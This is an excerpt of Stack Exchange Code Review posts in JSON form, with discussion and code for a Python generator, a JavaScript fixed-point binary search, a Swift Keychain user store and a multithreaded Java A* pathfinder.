"CreationDate": "2019-06-22T10:14:44.507",
"Id": "222761",
"ParentId": "222756",
"Score": "7"
}
},
{
"body": "<p>You can indeed simplify this quite a bit using a generator and the <code>itertools</code> module.</p>\n\n<p>I would separate out the generating of the pushups to be done from the total pushups. For this you can use two <code>range</code> objects and the <a href=\"https://docs.python.org/3/whatsnew/3.3.html#pep-380\" rel=\"nofollow noreferrer\"><code>yield from</code> (Python 3.3+) keyword combination</a>:</p>\n\n<pre><code>def pushups(n):\n yield from range(1, n)\n yield from range(n, 0, -1)\n</code></pre>\n\n<p>The accumulation can be done using <a href=\"https://docs.python.org/3.7/library/itertools.html#itertools.accumulate\" rel=\"nofollow noreferrer\"><code>itertools.accumulate</code></a> and <a href=\"https://docs.python.org/3.7/library/itertools.html#itertools.tee\" rel=\"nofollow noreferrer\"><code>itertools.tee</code></a> to duplicate the generator:</p>\n\n<pre><code>from itertools import accumulate, tee\n\ndef leader_step(n):\n gen1, gen2 = tee(pushups(n))\n return list(gen1), list(accumulate(gen2))\n\nif __name__ == \"__main__\":\n print(leader_step(5))\n# ([1, 2, 3, 4, 5, 4, 3, 2, 1], [1, 3, 6, 10, 15, 19, 22, 24, 25])\n</code></pre>\n\n<p>As noted in the comments by @Peilonrayz, it is not actually necessary to split the generator (as long as it fits into memory, which is very likely, given that presumably a human will try to do this training):</p>\n\n<pre><code>def leader_step(n):\n training = list(pushups(n))\n return training, list(accumulate(training))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:19:33.443",
"Id": "431324",
"Score": "0",
"body": "@Peilonrayz Mostly because I did not think of it. Secondly because I only decided to return the consumed iterators at the end..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:23:26.883",
"Id": "431326",
"Score": "0",
"body": "@Peilonrayz Indeed. I decided to directly mirror the interface of the OP, instead of returning generator objects and advising of the difference..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T09:51:16.860",
"Id": "431413",
"Score": "0",
"body": "I would not use ´tee´ in this case. It is useful if both iterators are consumed in about the same pace, but it keeps all values in memory if one advances a lot before the other, so in this case, where you exhaust `gen1` completely, it offers no advantages over the last approach. In case of a generator like this, I would just do ´return pushups(n), accumulate(pushups(n))´. If the caller needs the instantiated as a list, he can still do so."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T09:59:29.823",
"Id": "431416",
"Score": "1",
"body": "@MaartenFabré Agreed. Which is why I added the alternative version without `tee` when Peilonrayz commented this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T10:02:40.033",
"Id": "431418",
"Score": "0",
"body": "your reason to use tee is to split the generator, but when you consume the first generator completely before you start on the second, it has no advantages over making it into a list directly. So if the result of the generator does not fit into memory, the `tee` has no advantage in this case"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T12:52:39.677",
"Id": "222765",
"ParentId": "222756",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "222765",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T08:32:08.100",
"Id": "222756",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"hash-map"
],
"Title": "Pull-up sequence accumulator counter"
} | 222756 |
<p><strong>The task</strong> is taken from LeetCode</p>
<blockquote>
<p>Given an array A of distinct integers sorted in ascending order,
return the smallest index i that satisfies A[i] == i. Return -1 if no
such i exists.</p>
<p><strong>Example 1:</strong></p>
<pre><code>Input: [-10,-5,0,3,7]
Output: 3
Explanation:
// For the given array, A[0] = -10, A[1] = -5, A[2] = 0, A[3] = 3, thus the output is 3.
</code></pre>
<p><strong>Example 2:</strong></p>
<pre><code>Input: [0,2,5,8,17]
Output: 0
Explanation:
// A[0] = 0, thus the output is 0.
</code></pre>
<p><strong>Example 3:</strong></p>
<pre><code>Input: [-10,-5,3,4,7,9]
Output: -1
Explanation:
// There is no such i that A[i] = i, thus the output is -1.
</code></pre>
<p><strong>Note:</strong></p>
<p>1 <= A.length < 10^4</p>
<p>-10^9 <= A[i] <= 10^9</p>
</blockquote>
<h3>My solution</h3>
<p>has time complexity of <span class="math-container">\$O(n)\$</span> and space complexity of <span class="math-container">\$O(1)\$</span>. I start to look from the start to the last element. If I find a value that is greater than <code>i</code>, then I can exit early (because there won't be an element that is equal to <code>i</code> anymore). If I find <code>A[i] === i</code>, then I have a result.</p>
<p>Is there a faster solution than the one provided?</p>
<pre><code>/**
* @param {number[]} A
* @return {number}
*/
var fixedPoint = function(A) {
for (let i = 0; i < A.length; i++) {
if (A[i] > i) { return -1; }
if (A[i] === i) { return i; }
}
return -1;
};
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:27:28.390",
"Id": "431339",
"Score": "2",
"body": "I wonder what's wrong with `ary.findIndex((n, i) => n === i)`?"
}
] | [
{
"body": "<h2>Review</h2>\n\n<p>Your solution naively walks the array of ascending integers from starting position <code>s = 0</code>. In some situations, this means you are walking tons of negative numbers, knowing they can never match an array index, which is always nonnegative. </p>\n\n<h2>Optimization</h2>\n\n<p>You could optimize <code>s</code> before walking the array. Since array indices are <em>nonnegative integers</em>, you should skip walking the array where the values are <em>strict negative</em>.</p>\n\n<p>As en example, if <code>input = [-10000, -9999, ..., 0, 1]</code> you just want to check 0 and 1.</p>\n\n<p>The way I would optimize the algorithm:</p>\n\n<ul>\n<li>determine starting point <code>s</code>\n\n<ul>\n<li>if first item is positive: <code>s</code> = 0</li>\n<li>if last item is strict negative: return -1</li>\n<li>perform <em>binary search</em> to find <code>s</code> (you want <code>s</code> to hold the first positive integer in the array)</li>\n</ul></li>\n<li>walk <code>i</code> as from <code>s</code> to end of array\n\n<ul>\n<li>on match: return match</li>\n<li>on <code>array[i]</code> > <code>i</code>: return -1</li>\n<li>on end reached without match: return -1</li>\n</ul></li>\n</ul>\n\n<h3>Optimized Time Complexity</h3>\n\n<p>~<span class=\"math-container\">\\$0(\\lg m)\\$</span> with <code>m <= n</code> and <code>m</code> being the number of positive integers in the array</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:07:33.577",
"Id": "431294",
"Score": "1",
"body": "The same is true for very large numbers. Values bigger than the array is long cannot be the same as an array index. The question is, how do you efficiently find these start and end points? Isn't that basically the same problem as you had before? Why not simply do a binary search for the thing you're actually looking for?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:10:07.187",
"Id": "431295",
"Score": "1",
"body": "Good observations. The question is when does it pay off performing binary search for both determining the start and end index to walk? Perhaps the size of the array should also be taken into account. Small arrays probably are better of walking from 0 to end."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:15:21.603",
"Id": "431296",
"Score": "0",
"body": "@KIKO Software To answer your first question (1) very large values are short-circuited in the check `array[i] > i: return -1`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:17:44.490",
"Id": "431297",
"Score": "0",
"body": "Yes, that's true."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:33:41.403",
"Id": "431298",
"Score": "0",
"body": "@KIKOSoftware and question (2) given the specific nature of the question, finding the starting position, and walking from here up the array, exiting early on either a match or too big value, is generally faster as finding the value by binary search."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:45:18.993",
"Id": "431300",
"Score": "0",
"body": "I don't agree with that, because you're also planning to find the starting position by using a binairy search. Why then not simply use a binary search to search for the match?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T19:03:27.913",
"Id": "431367",
"Score": "1",
"body": "Isn't the worst-case time complexity still O(n), without $lg$? Consider, for example, the array [-1, 0, 1, 2, ..., n-3, n-2]."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T19:04:56.263",
"Id": "431368",
"Score": "0",
"body": "@Heinzi Yes, but we are trying to estimate average complexity given all possible distributions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T19:08:27.107",
"Id": "431370",
"Score": "0",
"body": "@dfhwze: Ah, ok. I'd mention that explicitly, because \"O(...) time complexity\" without additional modifiers usually means \"worst-case time complexity\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T19:09:54.730",
"Id": "431371",
"Score": "0",
"body": "@Heinzi you can edit my answer and modify the complexity if you want. I am talking indeed about an average complexity."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T07:12:10.903",
"Id": "431406",
"Score": "0",
"body": "It's meaningless to talk about average complexity without a distribution on possible inputs, but for any reasonable distribution (any distribution where a negative number is at most as likely as a positive number) this algorithm takes O(n) = O(m) time. It will run on average over half the array."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T08:46:10.677",
"Id": "431409",
"Score": "0",
"body": "@MeesdeVries On average, m = n/2"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T09:54:25.360",
"Id": "431414",
"Score": "0",
"body": "@dfhwze, indeed, and O(n) = O(n/2). This is immediate from the definition of the big O, which involves an arbitrary constant."
}
],
"meta_data": {
"CommentCount": "13",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T09:54:47.410",
"Id": "222759",
"ParentId": "222757",
"Score": "7"
}
},
{
"body": "<p>I took your previous, invalid solution, and amended it so it does work correctly. So in a way, I am still reviewing your code.</p>\n\n<pre><code>function fixedPoint(data)\n{\n const lastIndex = data.length - 1;\n if (data[0] > 0 || data[lastIndex] < 0) return -1;\n var left = 0;\n var right = lastIndex - 1;\n while(left <= right) {\n let middle = Math.floor((left + right) / 2);\n if (data[middle] == middle) {\n while(middle > 0 && data[middle] == middle) middle--;\n return ++middle;\n }\n if (data[middle] > middle) right = middle;\n else if (data[middle] < middle) left = middle;\n }\n return -1;\n}\n</code></pre>\n\n<p>I prefer calling a function a function here, but that's a personal choice. </p>\n\n<p>This is basically a <em>binary search</em> with a small addition to not trip over arrays like:</p>\n\n<p><code>[-10,-5,0,3,4,5,6,7,8,10]</code>. </p>\n\n<p>This little routine first takes care of 2 edge cases: There is no match when the first value is bigger than zero of when the last value is negative. Then it defines two variables, the <code>left</code> and <code>right</code> indexes, within which the solution should be found, or not. At first these indexes span the whole array. On every iteration of the <code>while</code> loop the searchable section of the array is halved, by either assigning the half-way index <code>middle</code> to the <code>left</code> or the <code>right</code> index based on the value in the array at that half-way location. When a match is found, between the index and the value, it walks backwards if there are more matches before the current one.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:45:06.753",
"Id": "431299",
"Score": "0",
"body": "This can be optimized for edge cases. There is no need to even begin a binary search when the last item in the array is strict negative."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:56:13.650",
"Id": "431302",
"Score": "1",
"body": "@dfhwze Yes, or when the first item is bigger than zero. I've now added these two edge cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:57:31.883",
"Id": "431303",
"Score": "0",
"body": "I'm still contemplating whether performing a binary search to find the value or finding the starting position and eagerly walking up is the most performant."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T11:00:14.033",
"Id": "431304",
"Score": "1",
"body": "@dfhwze It will depend on the values in the array. Both binary searches will perform similarly. The question is which walk will, on average, be the longest. I think walking up from the start, as you defined it, will take longer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T11:09:18.523",
"Id": "431305",
"Score": "1",
"body": "Seems to me like **worst-case** \\$\\Theta(N)\\$."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T11:26:53.397",
"Id": "431308",
"Score": "2",
"body": "@coderodde Please be more explicit in what you say. What seems to you like what and why?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T12:51:52.303",
"Id": "431313",
"Score": "0",
"body": "@KIKOSoftware You do a \\$\\Theta(\\log N)\\$ search first, but then you need to check some of the array entries one by one."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T12:55:34.547",
"Id": "431314",
"Score": "1",
"body": "@coderodde: That happens only in the case that there are multiple matches in sequence and we didn't end up on the first one. Do you have a better solution?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T13:35:52.943",
"Id": "431316",
"Score": "0",
"body": "@KIKOSoftware No, I don't have a better solution."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T10:34:58.560",
"Id": "222762",
"ParentId": "222757",
"Score": "7"
}
},
{
"body": "<p>Here is a simplified version of KIKO Software code, which solves the problem in <strong>O(lg(n))</strong> operations.</p>\n\n<pre><code> function fixedPoint(data)\n {\n const lastIndex = data.length - 1;\n if (lastIndex < 0 || data[0] > 0 || data[lastIndex] < lastIndex) return -1;\n var left = 0;\n var right = lastIndex;\n while(left + 1 < right) {\n let middle = Math.floor((left + right) / 2);\n if (data[middle] >= middle) right = middle;\n else left = middle;\n }\n if(data[left] == left) return left;\n else if (data[right] == right) return right;\n else return -1;\n }\n</code></pre>\n\n<p>Since we are using binary search all the way we get good worst case behaviour.\nAlso we have ditched the if statement statement for correct answer, and removed another redudant if statement, which reduces the amount of if statements checked from roughly 3.5/iteration to 2 per iteration (remember the while check).\nI also fixed the problem where if there was no solution and you were left with left and right being just next to each other and left was not a valid solution, then you would enter an infinite loop, as left would be continously assigned from the middle, but the middle was rounded down to the left. Note that this could only happen in the case where left was never moved (first value would be negative and the second value would be 2 or higher).</p>\n\n<p>If you want to go even faster than this, you can try to find a reasonable way to estimate a good middle suggestion. This kind of approach may yeild lower worst-case performance, but you might be able to reach <strong>O(lg(lg(n)))</strong> average case runtime (I have heard about other algorithms of this type claiming such performance, but I am not familiar with the proofs).\nHere is example an following:</p>\n\n<pre><code> function fixedPoint(data)\n {\n const lastIndex = data.length - 1;\n if (lastIndex < 0 || data[0] > 0 || data[lastIndex] < lastIndex) return -1;\n var left = 0;\n var right = lastIndex;\n while(left + 1 < right) {\n let rightWeight = max(left -data[left],1);\n let leftWeight = max(data[right] - right, 1);\n if (rightWeight / 3 > leftWeight ) rightWeight = leftWeight * 3;\n if (leftWeight / 9 > rightWeight ) leftWeight = rightWeight * 9;\n let middle = Math.floor((left * leftWeight + right * rightWeight) / (leftWeight + rightWeight));\n if (data[middle] >= middle) right = middle;\n else left = middle;\n }\n if(data[left] == left) return left;\n else if (data[right] == right) return right;\n else return -1;\n }\n</code></pre>\n\n<p>The idea in the above is to estimate a good middle point based on the predicted crossover point if we draw a line strait between the left and right. I added a max(weight,1), to ensure that the weights are positive and we do not get stuck. To preserve good performance when the right points are valid candidates, we have put a bound on how far to the right we want our middle guess to be, and to preserve worst-case optimal behaviour a less tight boud on how far to the left we allow our guess to be have also been included.\nNote that this version may be slower in practice, due to a higher cost of running through each piece of the loop. If you want to use this, then I suggest trying out different values for the bounds on how far to the left or right you allow it to go, and even trying with those bounds turned off entirely.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T01:59:01.117",
"Id": "431388",
"Score": "0",
"body": "Code nicely explained *externally*; put an explanation *in the code*. This is *Code Review*: What [insightful observation about the code in the question](https://codereview.stackexchange.com/help/how-to-answer) does your answer provide?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T02:08:42.317",
"Id": "431390",
"Score": "0",
"body": "Asside from fixing some errors in the first version, the insightfull observations are mainly ways to increase the performance (worst-case for the first and and average-case for the second)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T02:11:01.603",
"Id": "431391",
"Score": "0",
"body": "`fixing some errors`, `increase the performance` refers to code from what post?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T02:17:48.103",
"Id": "431392",
"Score": "0",
"body": "Naturally the one KIKO Software wrote, I did mention in the beginning that it was a simplified/modified version of his/her code. Note that the theoretical performance is increased beyond that of the other answers, and the question was specifically for ways to increase performance."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T13:37:10.447",
"Id": "431429",
"Score": "0",
"body": "This is the only correct answer here, in the sense that it is the only one that runs in O(log(n)). One more improvement: you can do an early exit when `data[lastIndex] < lastIndex`, not just when `data[lastIndex] < 0`. Furthermore I prefer taking `right = lastIndex` (without the -1), then you can remove the line `else if (data[right] == right) return right;`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T13:39:43.220",
"Id": "431430",
"Score": "0",
"body": "And one more note, this code will not work when `data` is empty. Presumably you want a result of -1 in that case, too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T13:51:20.363",
"Id": "431432",
"Score": "0",
"body": "Good catch, I will add that corner case into the early exit clause."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T19:08:35.727",
"Id": "431467",
"Score": "0",
"body": "Correction to the second part of my first comment: instead of changing `right`, you would have to change `left` to start at -1 instead of 0. Then you would remove the check on `left` at the end, not the check on `right`. But that's probably not worth the legibility."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T19:46:21.207",
"Id": "431469",
"Score": "0",
"body": "While changing to `right = lastIndex` was indeed a correction (it was supposed to be the last valid index), it wouldn't make sense to remove the `else if (data[right] == right) return right;` line, since it is there to detect if the right point (both the left and the right are supposed to be just after each other at the end) is the correct solution. Setting `left` to start at -1 would be problematic, since it is dereferenced before it is changed, which would cause an index error."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T23:29:45.463",
"Id": "222782",
"ParentId": "222757",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "222762",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T08:47:36.647",
"Id": "222757",
"Score": "5",
"Tags": [
"javascript",
"performance",
"algorithm",
"programming-challenge"
],
"Title": "Find smallest index that is identical to the value in an array"
} | 222757 |
<p>I want to be able to store and retrieve a unique user throughout the app. Multiple accounts are not used. The code I have written is stated below.</p>
<p>This is my first attempt using KeyChain. The test succeeds. I am wondering if anything if the code can be improved. Security issues perhaps?</p>
<pre><code>import XCTest
class KeyChain {
struct User {
let identifier: Int64
let password: String
}
static func save(user: User) -> Bool {
let identifier = Data(from: user.identifier)
let password = user.password.data(using: .utf8)!
let query = [kSecClass as String : kSecClassGenericPassword as String,
kSecAttrService as String : "comapp",
kSecAttrAccount as String : identifier,
kSecValueData as String : password]
as [String : Any]
let deleteStatus = SecItemDelete(query as CFDictionary)
if deleteStatus == noErr || deleteStatus == errSecItemNotFound {
return SecItemAdd(query as CFDictionary, nil) == noErr
}
return false
}
static func retrieveUser() -> User? {
let query = [kSecClass as String : kSecClassGenericPassword,
kSecAttrService as String : "comapp",
kSecReturnAttributes as String : kCFBooleanTrue!,
kSecReturnData as String: kCFBooleanTrue!]
as [String : Any]
var result: AnyObject? = nil
let status = SecItemCopyMatching(query as CFDictionary, &result)
if status == noErr,
let dict = result as? [String: Any],
let passwordData = dict[String(kSecValueData)] as? Data,
let password = String(data: passwordData, encoding: .utf8),
let identifier = (dict[String(kSecAttrAccount)] as? Data)?.to(type: Int64.self) {
return User(identifier: identifier, password: password)
} else {
return nil
}
}
}
private extension Data {
init<T>(from value: T) {
var value = value
self.init(buffer: UnsafeBufferPointer(start: &value, count: 1))
}
func to<T>(type: T.Type) -> T {
withUnsafeBytes { $0.load(as: T.self) }
}
}
class SecureStoreTests: XCTestCase {
func testUser() {
let user = KeyChain.User(identifier: 200, password: "somePassword")
let didAddedUser = KeyChain.save(user: user)
XCTAssertTrue(didAddedUser)
let retrievedUser = KeyChain.retrieveUser()!
XCTAssert(user.identifier == retrievedUser.identifier)
XCTAssert(user.password == retrievedUser.password)
}
}
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:33:11.463",
"Id": "222769",
"Score": "1",
"Tags": [
"swift"
],
"Title": "Keychain unique user"
} | 222769 |
<p>I have the implementation of A* search algorithm that allows to find the shortest path from start to goal.</p>
<p>The implementation looks like this</p>
<pre><code>public class AStarShortestPathContext {
private Vertex[][] matrix;
private int rows, columns;
private int cost;
private PriorityQueue<Vertex> openList;
private Set<Vertex> closedSet;
public AStarShortestPathContext(int rows, int columns, int cost) {
this.rows = rows;
this.columns = columns;
this.cost = cost;
openList = new PriorityQueue<>(Comparator.comparingInt(Vertex::getF));
closedSet = new HashSet<>();
}
public List<Vertex> find(Vertex startVertex, Vertex goalVertex, boolean[][] blocked) {
refreshContext();
Vertex start = new Vertex(startVertex);
Vertex goal = new Vertex(goalVertex);
ComputationUtils.updateEuristic(matrix, goal);
openList.add(start);
while (!openList.isEmpty()) {
Vertex current = openList.poll();
closedSet.add(current);
if (current.equals(goal)) {
return path(current);
} else {
neighbours(current, blocked);
}
}
return Collections.emptyList();
}
/** Temporary solution **/
public void refreshContext() {
// do I really need to do that every search?
this.matrix = new Vertex[rows][];
for (int i = 0; i < rows; i++) {
this.matrix[i] = new Vertex[columns];
for (int j = 0; j < columns; j++) {
matrix[i][j] = new Vertex(i, j);
}
}
openList.clear();
closedSet.clear();
}
private void neighbours(Vertex current, boolean[][] blocked) {
int row = current.getRow();
int column = current.getColumn();
int lower = row + 1;
if (lower < rows && !blocked[lower][column]) {
checkAdjacentVertex(current, lower, column);
}
int left = column - 1;
if (left >= 0 && !blocked[row][left]) {
checkAdjacentVertex(current, row, left);
}
int right = column + 1;
if (right < columns && !blocked[row][right]) {
checkAdjacentVertex(current, row, right);
}
int upper = row - 1;
if (upper >= 0 && !blocked[upper][column]) {
checkAdjacentVertex(current, upper, column);
}
}
private void checkAdjacentVertex(Vertex current, int row, int column) {
Vertex adjacent = matrix[row][column];
if (!closedSet.contains(adjacent)) {
int g = ComputationUtils.g(current, cost);
if (!openList.contains(adjacent)) {
updateVertex(adjacent, current, g, ComputationUtils.f(adjacent));
openList.add(adjacent);
} else {
if (g < adjacent.getG()) {
updateVertex(adjacent, current, g, ComputationUtils.f(adjacent));
// as no update operation by default we need to remove and add node again
openList.remove(adjacent);
openList.add(adjacent);
}
}
}
}
// considering that I need only the last vertex I may need to adjust it
private List<Vertex> path(Vertex reachedGoal) {
List<Vertex> path = new ArrayList<>();
path.add(reachedGoal);
Vertex parent;
while ((parent = reachedGoal.getParent()) != null) {
path.add(0, parent);
reachedGoal = parent;
}
return path;
}
private void updateVertex(Vertex v, Vertex parent, int g, int f) {
v.setParent(parent);
v.setG(g);
v.setF(f); // order is important as F depends on G
}
}
</code></pre>
<p>It supposed to work for multiple bots (threads) over the same table. To achieve that I created <code>concurrent context</code> class that looks like this</p>
<pre><code>public class AStarShortestPathConcurrentContext implements IObservable<ChangeStateEvent> {
private AStarShortestPathContext searchContext;
private boolean[][] blocked;
private List<IObserver<ChangeStateEvent>> observers;
public AStarShortestPathConcurrentContext(int rows, int columns, int cost) {
searchContext = new AStarShortestPathContext(rows, columns, cost);
blocked = DataUtils.generateEmptyBoolMatrix(rows, columns);
observers = new ArrayList<>();
}
public synchronized Vertex next(Vertex startVertex, Vertex goalVertex, String identifier) {
List<Vertex> path = searchContext.find(startVertex, goalVertex, blocked);
// start vertex is 0, next vertex is 1
Vertex next = path.get(1);
updateBlockedTable(startVertex, next);
// basically notify Swing JTable to update values in cells and force rendering
notifyObserver(ChangeStateEvent
.builder()
.identifier(identifier)
.newState(NPCWalkState
.builder()
.row(next.getRow())
.column(next.getColumn())
.build())
.previousState(NPCWalkState
.builder()
.row(startVertex.getRow())
.column(startVertex.getColumn())
.build())
.build());
return next;
}
private void updateBlockedTable(Vertex startVertex, Vertex next) {
int blocked_row = next.getRow();
int blocked_column = next.getColumn();
int released_row = startVertex.getRow();
int released_column = startVertex.getColumn();
blocked[blocked_row][blocked_column] = true;
blocked[released_row][released_column] = false;
}
@Override
public void addObserver(IObserver<ChangeStateEvent> observer) {
observers.add(observer);
}
@Override
public void notifyObserver(ChangeStateEvent data) {
observers
.parallelStream()
.forEach(observer -> observer.receiveNotification(data));
}
}
</code></pre>
<p>And that class is used in the threads.</p>
<pre><code>public class WalkableNPCThread implements Runnable {
private int speed;
private String objectId;
private AStarShortestPathConcurrentContext searchContext;
private Vertex startVertex;
private Vertex goalVertex;
public WalkableNPCThread(WalkableNPC npc, AStarShortestPathConcurrentContext searchContext) {
this.speed = npc.getSpeed();
this.searchContext = searchContext;
this.objectId = npc.getIdentifier();
}
public void configureWalk(int initialRow, int initialColumn, int goalRow, int goalColumn) {
startVertex = new Vertex(initialRow, initialColumn);
goalVertex = new Vertex(goalRow, goalColumn);
}
@Override
public void run() {
while (!startVertex.equals(goalVertex)) {
ThreadUtils.delaySeconds(speed);
Vertex nextStep = searchContext.next(startVertex, goalVertex, objectId);
startVertex = new Vertex(nextStep);
}
}
}
</code></pre>
<p>The table is the same for all threads, so I instantiate <code>AStarShortestPathConcurrentContext</code> only once and pass it as a constructor parameter to each thread. It seems to work fine.</p>
<p>What is bothering me is that method</p>
<pre><code>public synchronized Vertex next(Vertex startVertex, Vertex goalVertex, String identifier) {
List<Vertex> path = searchContext.find(startVertex, goalVertex, blocked);
// start vertex is 0, next vertex is 1
Vertex next = path.get(1);
updateBlockedTable(startVertex, next);
// basically notify Swing JTable to update values in cells and force rendering
notifyObserver(ChangeStateEvent
.builder()
.identifier(identifier)
.newState(NPCWalkState
.builder()
.row(next.getRow())
.column(next.getColumn())
.build())
.previousState(NPCWalkState
.builder()
.row(startVertex.getRow())
.column(startVertex.getColumn())
.build())
.build());
return next;
}
</code></pre>
<p>I syncronize it in order to prevent updates of <code>blocked</code> field by other threads and also to prevent the update the <code>AStarShortestPathContext</code> when doing the search (I refresh it for each thread before the search).</p>
<p>I am not sure if I really need to block the whole method <code>next</code>. Is there a way to achieve the same better?</p>
<p>I was thinking for using <code>lock</code> for the whole method instead of <code>synchronized</code> but still it would block the whole method.</p>
<p><strong>Edit</strong>
Utility classes look like this</p>
<pre><code>@UtilityClass
public class ComputationUtils {
// heuristics in our case - manhattan distance
public int h(Vertex s, Vertex s_goal) {
return Math.abs(s.getColumn() - s_goal.getColumn()) + Math.abs(s.getRow() - s_goal.getRow());
}
// incremental cost of moving from node s to next node with cost
public int g(Vertex s, int cost) {
return s.getG() + cost;
}
// total cost of the path via node s
public int f(Vertex s) {
return s.getG() + s.getH();
}
// approx. distance from each cell to goal
public void updateEuristic(Vertex[][] matrix, Vertex goal) {
for (Vertex[] row : matrix) {
for (Vertex cell : row) {
int h = ComputationUtils.h(cell, goal);
cell.setH(h);
}
}
}
}
@UtilityClass
public class ThreadUtils {
public void delaySeconds(int seconds) {
try {
Thread.sleep(1000 / seconds);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
@UtilityClass
public class DataUtils {
public List<String>[][] generateEmptyListMatrx(int rows, int columns) {
List<String>[][] lines = new List[rows][];
for (int i = 0; i < lines.length; i++) {
lines[i] = new List[columns];
for (int j = 0; j < columns; j++) {
lines[i][j] = new ArrayList<>();
}
}
return lines;
}
public String[][] generateEmptyStringMatrix(int rows, int columns) {
String[][] lines = new String[rows][];
for (int i = 0; i < lines.length; i++) {
lines[i] = new String[columns];
for (int j = 0; j < columns; j++) {
lines[i][j] = "";
}
}
return lines;
}
public boolean[][] generateEmptyBoolMatrix(int rows, int columns) {
boolean[][] matrix = new boolean[rows][];
for (int i = 0; i < rows; i++) {
matrix[i] = new boolean[columns];
for (int j = 0; j < columns; j++) {
matrix[i][j] = false;
}
}
return matrix;
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:33:13.480",
"Id": "431358",
"Score": "0",
"body": "@dfhwze yeah, they are all mine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:34:52.893",
"Id": "431359",
"Score": "0",
"body": "Because the source code is not included. Do you think reviewers should know the content of these classes or are they not critical/relevant for your question?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:35:57.757",
"Id": "431360",
"Score": "1",
"body": "@dfhwze I added source code, but I don't think they are critical"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T15:38:59.777",
"Id": "431587",
"Score": "0",
"body": "So you want multiple threads trying to figure out the same path, or multiple threads each figuring out a different path?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:05:53.463",
"Id": "431594",
"Score": "0",
"body": "multiple threads trying to figure out paths to their goals (paths might intercept, but two cannot enter the same cell at the same time)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:39:49.897",
"Id": "431613",
"Score": "1",
"body": "Ok, so the issue is that the NPCs are moving as the threads run, not on game clock ticks, and you don't want them to bump into each other? I'm not a game programmer, but I'd expect everyone moving on ticks on an internal game clock, not arbitrarily as their threads get CPU. Don't you want NPC speed determined by you, not by which threads are the CPU's favorites? I would expect pathing to get computed once, everybody to move on game clock ticks, and if your next step is occupied, wait a few ticks and then A* again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-24T08:08:26.663",
"Id": "436100",
